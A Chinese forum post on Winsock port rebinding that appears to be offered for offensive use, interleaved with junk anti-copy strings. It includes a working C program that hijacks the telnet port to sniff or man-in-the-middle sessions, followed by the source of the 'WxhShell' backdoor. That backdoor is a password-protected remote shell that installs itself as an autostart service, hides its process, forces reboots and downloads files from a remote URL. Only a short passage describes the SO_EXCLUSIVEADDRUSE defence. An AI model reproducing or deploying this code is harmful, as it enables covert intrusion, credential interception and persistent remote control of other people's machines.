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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 0t"Iq71/  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); z<^LY]  
g2^{+,/^K  
  saddr.sin_family = AF_INET; :kE*  
EB}~^ aY  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); kEAF1RP:  
*qLk'<  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); c68y\  
:yi} CM4  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ,Csjb1  
v$JW7CKA  
  这意味着什么?意味着可以进行如下的攻击: i| ,}y`C#  
./.aLTh  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 {(asy}a9K  
R47y/HG,  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) a+O?bO  
1=9GV+`n  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 (|<+yQ,@>  
'Ox "YE  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  pXBh^  
Oi$1maxT  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 x;} 25A|  
v_v>gPl,  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 { ] 0T  
9` VY)"rJ  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 f w)tWJVD  
Bf+~&I#E  
  #include Qgf|obrEi6  
  #include %1{O  
  #include +7 j/.R  
  #include    nox-)e  
  DWORD WINAPI ClientThread(LPVOID lpParam);   %gSmOW2.c^  
  int main() e}7!A  
  { \`2EfYJ{  
  WORD wVersionRequested; 3A~<|<}t  
  DWORD ret; ZJhI|wRwD  
  WSADATA wsaData; T/%Y_.NtU  
  BOOL val; Nr)DU.f  
  SOCKADDR_IN saddr; -*ZQ=nomN  
  SOCKADDR_IN scaddr; [0kZyjCq@  
  int err; {,T=Siy  
  SOCKET s; gX n `!  
  SOCKET sc; \'('HFr,  
  int caddsize; Ky8,HdAq  
  HANDLE mt; Ik A~+6UY  
  DWORD tid;   K9VP@[zbJ  
  wVersionRequested = MAKEWORD( 2, 2 ); |DVFi2   
  err = WSAStartup( wVersionRequested, &wsaData ); v/$<#2|  
  if ( err != 0 ) { 86?~N  
  printf("error!WSAStartup failed!\n"); maQxU(  
  return -1; *J': U>p  
  } {3K ]Q=  
  saddr.sin_family = AF_INET; 8 K)GH:a  
   Kg /,  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 =1)9>=}  
gOE ?  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ]y$/~(OW  
  saddr.sin_port = htons(23); b{x/V9&|  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ]ERAt^$0  
  { **1=|aa:  
  printf("error!socket failed!\n"); ~qTChCXP  
  return -1; NQiu>Sg  
  } .+u r+" i  
  val = TRUE; [ {vX*q 3B  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 j9/iBK\Y  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) qzZ;{>_f  
  { &=T>($3r94  
  printf("error!setsockopt failed!\n"); heb{i5el  
  return -1; j~9Y0jz_  
  } i`}9VaUG  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; p-!/p#  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 L$,Kdpj  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 FS!vnl8`  
m>!o Yy_  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) oJE<}~_k  
  { 1NrNTBI@  
  ret=GetLastError();  91fZ r  
  printf("error!bind failed!\n"); lX 50JJwk  
  return -1; cb. -AlqQ  
  } =dWq B&  
  listen(s,2); 4JH^R^O<n  
  while(1) -y$<fu9 e  
  { -&%! 4(Je  
  caddsize = sizeof(scaddr); y^ st T^  
  //接受连接请求 c2Y\bKeN  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); VjeF3pmBa  
  if(sc!=INVALID_SOCKET) gS|6,A9  
  { H>-{.E1bG  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); D7jbo[GgS  
  if(mt==NULL) Y%zWaH  
  { LW!4KA]  
  printf("Thread Creat Failed!\n"); Wk }}f|O0  
  break; l @E {K|  
  } dtV7YPz4+  
  } F"' (i  
  CloseHandle(mt); 7WNUHLEt  
  } <J}JYT  
  closesocket(s); .rlLt5b%  
  WSACleanup(); $KoGh_h   
  return 0; X LY>}r  
  }   |h.@Xy  
  DWORD WINAPI ClientThread(LPVOID lpParam) G//hZwf0  
  { '_91(~P  
  SOCKET ss = (SOCKET)lpParam; og4mLoLA  
  SOCKET sc; pqohLA  
  unsigned char buf[4096]; fK^;?4  
  SOCKADDR_IN saddr; ]KUeSg|  
  long num; ?ihRt+eR~  
  DWORD val; [[ll4|  
  DWORD ret; .W\x{h  
  //如果是隐藏端口应用的话,可以在此处加一些判断 <Iil*\SC  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   -AB0uMot  
  saddr.sin_family = AF_INET; ]#'& x%m  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); r\C"Fx^  
  saddr.sin_port = htons(23); be(hY{y`  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !R[~Z7b6  
  { /3;]e3x  
  printf("error!socket failed!\n"); PJ<9T3Fa  
  return -1; kJCeQK:W  
  } EO/41O  
  val = 100; Ia[<;":U  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) =9:gW5F69  
  { |[)pQGw  
  ret = GetLastError(); J(9{P/  
  return -1; IJ7wUZp"  
  } CFu^i|7o  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \ #la8,+9  
  { wZ_"@j<  
  ret = GetLastError();  ;B{oGy.  
  return -1; _9<Mo;C  
  } d@ ] N  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) nPjK=o`KR  
  { /^WOrMR  
  printf("error!socket connect failed!\n"); qCF&o7*oN  
  closesocket(sc); HNLr} Yj  
  closesocket(ss); w8`B}Dr23  
  return -1; _]L]_Bh  
  } UUGX@  
  while(1) +DE;aGQ.z?  
  { ffsF], _J  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 60WlC0Y~u  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 #w si><7   
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 \:2z!\iP`  
  num = recv(ss,buf,4096,0); y=AF EP  
  if(num>0) XI,=W  
  send(sc,buf,num,0); ! iK{q0  
  else if(num==0) z]2lT IWg  
  break; `r0lu_.$]4  
  num = recv(sc,buf,4096,0); (#]9{ C;  
  if(num>0) l9 &L$,=  
  send(ss,buf,num,0); Ny2bMj.o  
  else if(num==0) C* 0Z F  
  break; xxld.j6  
  } g@Rs.Zq  
  closesocket(ss); {e0(M*u  
  closesocket(sc); d?V/V'T[  
  return 0 ;  %\~U>3Q  
  } VLoRS)   
^ ~dC&!D  
0IBQE  
========================================================== ,V{Bpr  
e7plL^^`  
下边附上一个代码,,WXhSHELL n$E$@  
N1" bH~  
========================================================== Z/ L%?zH  
{Q @?CT  
#include "stdafx.h" nQ{~D5y,,  
qq@]xdl  
#include <stdio.h> -z%->OUu  
#include <string.h> !>/J]/4>  
#include <windows.h> xc7Rrh]}  
#include <winsock2.h> \S{ihS@J  
#include <winsvc.h> PH'n`D #  
#include <urlmon.h> U~dqxR"Q  
e*d lGK3l  
#pragma comment (lib, "Ws2_32.lib") <&bBE"U4  
#pragma comment (lib, "urlmon.lib") p&D7&Sb[  
)}Cf6 m}  
#define MAX_USER   100 // 最大客户端连接数 AoK;6je`K^  
#define BUF_SOCK   200 // sock buffer P/Y)Yx_(  
#define KEY_BUFF   255 // 输入 buffer Mhc5<~?  
\tCK7sBn  
#define REBOOT     0   // 重启 5xU}}[|~-  
#define SHUTDOWN   1   // 关机 _Ih"*~ r/&  
qac:"z'9  
#define DEF_PORT   5000 // 监听端口 HrT@Df  
<N3~X,ch  
#define REG_LEN     16   // 注册表键长度 12Fnv/[n'K  
#define SVC_LEN     80   // NT服务名长度 ^==Tv+T9U  
77j"zr7v  
// 从dll定义API Nz%pl!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %4BQY>O)@  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); N x^JC_  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Ak$9\Sl  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); G;U SVF-'K  
k0TQFx.A  
// wxhshell配置信息 i~*6JB|  
struct WSCFG { "#iO{uMWb  
  int ws_port;         // 监听端口 _ozg=n2(  
  char ws_passstr[REG_LEN]; // 口令 h]IoH0/  
  int ws_autoins;       // 安装标记, 1=yes 0=no qoW$Iw*q)B  
  char ws_regname[REG_LEN]; // 注册表键名 JIc9csr:b  
  char ws_svcname[REG_LEN]; // 服务名 n7zM;@{7  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 O"_QDl<ya  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息  Bgai|l  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ::3[H$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no SCfk!GBVD  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" "cbJ{ G1pk  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !#E-p?O.  
v[?gM.SF  
}; oeI[x  
nFro#qx  
// default Wxhshell configuration .'2"83f  
struct WSCFG wscfg={DEF_PORT, tA9Ew{3s  
    "xuhuanlingzhe", .mOm@<Xdg  
    1, P E[5oH  
    "Wxhshell", ^{NN-  
    "Wxhshell", &]anRT#  
            "WxhShell Service", {yi!vw  
    "Wrsky Windows CmdShell Service", Cn.dv-  
    "Please Input Your Password: ", Cq-99@&;  
  1, PI8ag  
  "http://www.wrsky.com/wxhshell.exe", OSom-?|w  
  "Wxhshell.exe" "`'+@KlE  
    }; TQvjU!>  
DYe w6B-  
// 消息定义模块 `eGp.[ffT  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; .li)k[] ts  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ~u?rjkSFoh  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; EAF\ 7J*  
char *msg_ws_ext="\n\rExit."; SO~pe$c-  
char *msg_ws_end="\n\rQuit."; 3@<m/%  
char *msg_ws_boot="\n\rReboot..."; GW]t~EL  
char *msg_ws_poff="\n\rShutdown..."; JBISA _Y  
char *msg_ws_down="\n\rSave to "; n9 Jev_!A  
h^J :k  
char *msg_ws_err="\n\rErr!"; U1kW1L}B  
char *msg_ws_ok="\n\rOK!"; b}N \h<\G  
"{jVsih0  
char ExeFile[MAX_PATH]; N0ZD+  
int nUser = 0; XU}" h&>  
HANDLE handles[MAX_USER]; T{BGg  
int OsIsNt; ^q<EnsY  
_ CzAv%  
SERVICE_STATUS       serviceStatus; YT@H^=  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; q"LT8nD\  
~Oi.bP<,  
// 函数声明 $% W.=a'5  
int Install(void); <F| S<\Y.  
int Uninstall(void); @*$"6!3s5  
int DownloadFile(char *sURL, SOCKET wsh); Wx8;+!2Q/  
int Boot(int flag); gOaK7A  
void HideProc(void); w *o _s  
int GetOsVer(void); pFwe&_u]  
int Wxhshell(SOCKET wsl); YIYuqtnSJ  
void TalkWithClient(void *cs); c>C!vAg  
int CmdShell(SOCKET sock); d-]!aFj|U  
int StartFromService(void); 73!])!SVI  
int StartWxhshell(LPSTR lpCmdLine); H#bu3*'  
EhN@;D+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); #Vm)wH3  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); W'Qy4bl7C  
Ft>,  
// 数据结构和表定义 mQtOx  
SERVICE_TABLE_ENTRY DispatchTable[] = o* QZf *M  
{ o:Tpd 0F  
{wscfg.ws_svcname, NTServiceMain}, QX9['B<  
{NULL, NULL} }oii|=,#^  
}; -}Rh+n`  
w1= f\  
// 自我安装 /IC]}0kkp  
int Install(void) C7Hgzc|U  
{ PC)V".W 1  
  char svExeFile[MAX_PATH]; Z0Qh7xWve  
  HKEY key; &Fch{%S>  
  strcpy(svExeFile,ExeFile); 83{v_M  
x}N1Wl=8g  
// 如果是win9x系统,修改注册表设为自启动 zM'2opiUY  
if(!OsIsNt) { [g: KFbEY  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { m] @o1J  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); e?dR'*-z  
  RegCloseKey(key); =5h ,ZB2A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?qtL*;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); e\]CZ5hs3  
  RegCloseKey(key); SJ:Wr{ Or3  
  return 0; it=ir9  
    } 0ac'<;9]zP  
  } 4[K6ZDBU  
} m pM,&7}  
else { T'VKZ5W  
e&=T`  
// 如果是NT以上系统,安装为系统服务 "J3n_3+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); y~+U(-&.  
if (schSCManager!=0) [b@9V_  
{ .A <n2-  
  SC_HANDLE schService = CreateService qg8T}y>  
  ( >2< Jb!f&  
  schSCManager, ldWr-  
  wscfg.ws_svcname, (t-JGye>  
  wscfg.ws_svcdisp, 2aW"t.[j  
  SERVICE_ALL_ACCESS, +~M`rR*  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , %|By ?i  
  SERVICE_AUTO_START, @jH8x!5u:  
  SERVICE_ERROR_NORMAL, 4B@L<Rl{\  
  svExeFile, q,_ 1?A)  
  NULL, mybjcsV4  
  NULL, \-)augq([  
  NULL, KEvT."t  
  NULL, /9 soUt  
  NULL HVcd< :g0  
  ); :jljM(\  
  if (schService!=0) 8w4cqr4m  
  { P/hIJV[  
  CloseServiceHandle(schService); m=%WA5c?  
  CloseServiceHandle(schSCManager); (]p,Z <f  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +"2IQme5  
  strcat(svExeFile,wscfg.ws_svcname); L\H,cimN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { !3#*hL1fy  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); HESORa;  
  RegCloseKey(key); ?W4IAbT\G  
  return 0; Z3 $3zyi  
    } O U3KB  
  } Z'L}x6  
  CloseServiceHandle(schSCManager); 2kU=9W6ND  
} ~Fd<d[b?  
} ^8r4tX  
U.HeIJ#  
return 1; +gQoYlso  
} d*xKq"+ &E  
hZ@Wl6FG;  
// 自我卸载 nWAx!0G  
int Uninstall(void) 7 -hSso.'  
{ h tn?iLq  
  HKEY key; 3<nd;@:-  
e$+?l~  
if(!OsIsNt) { &jHnM^nQ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { N\OeWjA F  
  RegDeleteValue(key,wscfg.ws_regname); @< @\CiM  
  RegCloseKey(key); n/fMq,<8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { m# ]VdO'f  
  RegDeleteValue(key,wscfg.ws_regname); 3G7Qo  
  RegCloseKey(key); 8s_'tw/{  
  return 0; HXTZ`'Rv  
  } LL1HDG >l  
} "`AIU}[_I  
} ^Pk-<b4}  
else { s5TPecd  
ta-kqt!'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); P+Ta|-  
if (schSCManager!=0) MR@*09zP(?  
{ qUY QN2wG  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); M"eiKX  
  if (schService!=0) 9_mys}+  
  { |3?qL  
  if(DeleteService(schService)!=0) { ?6gC;B  
  CloseServiceHandle(schService); NyTv~8A`)  
  CloseServiceHandle(schSCManager); \i-HECc"U  
  return 0; 5};Nv{km^2  
  } 5X5&(S\  
  CloseServiceHandle(schService); Ub8|x]ix  
  } }-:s9Lt  
  CloseServiceHandle(schSCManager); p<\yp<g  
} ptXLWv`  
} V3'QA1$  
]R8}cbtU  
return 1; 4%TY` II  
} *t'q n   
*OT6)]|k  
// 从指定url下载文件 8lo /BGxS>  
int DownloadFile(char *sURL, SOCKET wsh) |5 sI=?p&t  
{ piE9qXn  
  HRESULT hr; 6Hz45  
char seps[]= "/"; %G& Zm$u=  
char *token; !YlyUHD  
char *file; s5X .(;+  
char myURL[MAX_PATH]; lZ5 lmsCU  
char myFILE[MAX_PATH]; ]:B|_| H  
y5L%_ {n  
strcpy(myURL,sURL); ]urrAIK  
  token=strtok(myURL,seps); 8m0GxgS  
  while(token!=NULL) _h4{Sx  
  { _ 13M  
    file=token; ^w eU\  
  token=strtok(NULL,seps); Hf ]aA_:   
  } p.9VyM  
!xm87I  
GetCurrentDirectory(MAX_PATH,myFILE); rULrGoM  
strcat(myFILE, "\\"); [:geDk9O#'  
strcat(myFILE, file); IG?044Y  
  send(wsh,myFILE,strlen(myFILE),0); je6H}eWTC6  
send(wsh,"...",3,0); D}1Z TX_  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); K8{Ub  
  if(hr==S_OK) V 45\.V  
return 0; sGjYL>*  
else W8:?y*6  
return 1; 9IgozYj  
O mkl|l9  
} Jrp{e("9  
<S'5`-&  
// 系统电源模块 >r] bfN,  
int Boot(int flag) Z `FqC  
{ d(RSn|[0  
  HANDLE hToken; @G  0k+  
  TOKEN_PRIVILEGES tkp; !ydJ{\;  
tgn_\-+  
  if(OsIsNt) { *Z*4L|zT  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); .l$'%AG:~  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^J3\ U{B  
    tkp.PrivilegeCount = 1; %zx=rn(K  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; HCHZB*r[  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;h> s=D,r  
if(flag==REBOOT) { qrBo'@7  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) -=aI!7*"$  
  return 0; J,ZvaF  
} trL:qD+{(  
else { Ky33h 0TX  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) MsMNP[-l  
  return 0; Y_n^6 ;  
} H~1&hF"d  
  } ]*a3J45  
  else { #Jt9U1WbF  
if(flag==REBOOT) { _idTsd:\  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) au'Zjj/Ai5  
  return 0; HE0UcP1U  
}  FVOR~z  
else { F;l*@y Tq  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *C*n( the  
  return 0; GaMiu! |,  
} +~lZ]a7k  
} epa)~/sA  
aW-'Jg=@H^  
return 1; ..RCR_DIp  
} CO!K[ q#  
X PnN"Y"y  
// win9x进程隐藏模块 a=3?hVpB  
void HideProc(void) O(BAw  
{ AZ~= ]1  
SS;[{u!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _JZS;8WYR  
  if ( hKernel != NULL ) HY[eo/nM1d  
  { Y@'ug N|[C  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 6j9P`#Lt  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); R1Jj 3k  
    FreeLibrary(hKernel); ,zmGKn#n2  
  } "I.PV$Rxl  
#Pi}2RBRu  
return; zb/w^~J_i  
} 6A$ \I44  
bM`7>3 d7E  
// 获取操作系统版本 c%,~1l  
int GetOsVer(void) ^M60#gJ  
{ ^DZ(T+q,  
  OSVERSIONINFO winfo; NWCJ|  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); z>HeM Mei  
  GetVersionEx(&winfo); ao>`[-  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |`d5Y#26  
  return 1; rdd%"u+  
  else /8 /2#`3R  
  return 0; z Qtg]@S  
} /lBx}o'  
Z3Le?cMt^  
// 客户端句柄模块  A i`  
int Wxhshell(SOCKET wsl) {VOLUC o 4  
{  w+<`>  
  SOCKET wsh; 9L+dN%C  
  struct sockaddr_in client; 6{/HNEI*1  
  DWORD myID; (h;4irfX  
__Ei;%cV  
  while(nUser<MAX_USER) ^F @z +q  
{ Q)}_S@v|%  
  int nSize=sizeof(client); *^]Hqf(`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); G-?y;V 1  
  if(wsh==INVALID_SOCKET) return 1; JY4sB8  
t)Q6A@$:  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); V> K sbPqR  
if(handles[nUser]==0) ~3YN;St-  
  closesocket(wsh); 9z)p*+r UK  
else wGfU@!m  
  nUser++; no_(J>p^&  
  } |y+<|fb,a  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); oZ% rzLH  
4N&4TUIM  
  return 0; e$krA!zN  
} z:C VzK,  
58FjzW  
// 关闭 socket Qs(WyP#  
void CloseIt(SOCKET wsh) >cm*_26;I  
{ ^_dYE]t  
closesocket(wsh); ":t'} Eg=6  
nUser--; HFV4S]U=  
ExitThread(0); |L XYF$  
} M~ =Bln5  
ZMs$C3  
// 客户端请求句柄 &gdtI  
void TalkWithClient(void *cs) hq}kAv4B=  
{ FGzMbi<l#(  
pF~[  
  SOCKET wsh=(SOCKET)cs; Qs24b  
  char pwd[SVC_LEN]; *aKT&5Ch-  
  char cmd[KEY_BUFF]; }cDw9;~D  
char chr[1]; |)4Fe/!cJ  
int i,j; 5&}~W)"9  
Y](kMNUSg  
  while (nUser < MAX_USER) { :Osw4u]JXd  
PGTi-o}  
if(wscfg.ws_passstr) { #:E}Eby/6I  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \4;}S&`k  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); nW1Obu8x|  
  //ZeroMemory(pwd,KEY_BUFF); +:@lde]/p  
      i=0; tYE\tbCO'  
  while(i<SVC_LEN) { RRGo$  
G&P[n8Z$  
  // 设置超时 D[d+lq#p  
  fd_set FdRead; )n8(U%q$  
  struct timeval TimeOut; n}NO"eF>-s  
  FD_ZERO(&FdRead); U Ke!zI  
  FD_SET(wsh,&FdRead); N7/eF9  
  TimeOut.tv_sec=8; _T,X z_  
  TimeOut.tv_usec=0; sxac( L  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); u} y)'eH  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); mJjd2a"vi  
LQy`,-&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); TL%2?'G  
  pwd=chr[0]; DEmU},<S  
  if(chr[0]==0xd || chr[0]==0xa) { 3ya_47D  
  pwd=0; nP9zTa  
  break; UZsn14xSA  
  } 1+P&O4>  
  i++; !3Xu#^Xxj  
    } ~0S_S+e  
8T3j/ D<r  
  // 如果是非法用户,关闭 socket Z_Tu* F  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); .W>LsEk  
} 0taopDi ;d  
$JH_  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Knd2s~S  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xW`,@a }  
B2}|b^'I  
while(1) { y]dA<d?u  
eVDO]5?  
  ZeroMemory(cmd,KEY_BUFF); $kc*~V~   
3`V #ImV>  
      // 自动支持客户端 telnet标准   N~<H`  
  j=0; )ad-p.Hus  
  while(j<KEY_BUFF) { pf_(?\oz>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~,199K#'  
  cmd[j]=chr[0]; 5~AK+6Za  
  if(chr[0]==0xa || chr[0]==0xd) { dd$}FlT  
  cmd[j]=0; &f2'cR  
  break; GqYE=Q  
  } #q[k"x=c  
  j++; ^U[c:Rz  
    } L.5 /wg  
pA ,xDs@37  
  // 下载文件 O!Rw? Y  
  if(strstr(cmd,"http://")) { DOk(5gR  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); O@$wU9 D<  
  if(DownloadFile(cmd,wsh)) I2U/ \  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); $-tgd<2h  
  else _A[k&nO!&J  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T B!z:n  
  } 6*!R'  
  else { ,-55*Rbi  
`pB]_"b  
    switch(cmd[0]) { WyO7,Qr\   
  [;rty<Z^b  
  // 帮助 @U~i<kt  
  case '?': { dIQxU  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); F@+FXnz  
    break; X4- _l$j  
  } nDt1oM H  
  // 安装 ?9F_E+!  
  case 'i': { 6 /A#P$G  
    if(Install()) W.B;Dy,Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8$c_M   
    else $]{20"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o~ v   
    break; dZMOgZ.!yr  
    } I U Mt^z  
  // 卸载 oNk ASAd  
  case 'r': { {giKC)!  
    if(Uninstall()) 1;e"3x"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ??4#)n k  
    else M9 _G  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aJQx"6 c?  
    break; 3 &aBU [  
    } Sqc r -  
  // 显示 wxhshell 所在路径 2l7Sbs7  
  case 'p': { Awip qDAu  
    char svExeFile[MAX_PATH]; 2+Y 8b::  
    strcpy(svExeFile,"\n\r"); U}6F B =  
      strcat(svExeFile,ExeFile); 2jMV6S9  
        send(wsh,svExeFile,strlen(svExeFile),0); ? iX1;c9  
    break; y([""z3<w  
    } Lq-Di|6q  
  // 重启  AU3Ou5  
  case 'b': { V_>)m3zsL  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -{ae  
    if(Boot(REBOOT)) )_MIUQ%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e:h(,  
    else { yq?7!X  
    closesocket(wsh); M-K.[}}-d  
    ExitThread(0); Ca&p;K9FR  
    } H1FD|Q3  
    break; 1X5*V!u  
    } 0+i\j`O&  
  // 关机 SP&Y|I$:  
  case 'd': { dzK]F/L]  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :X?bWxOJ  
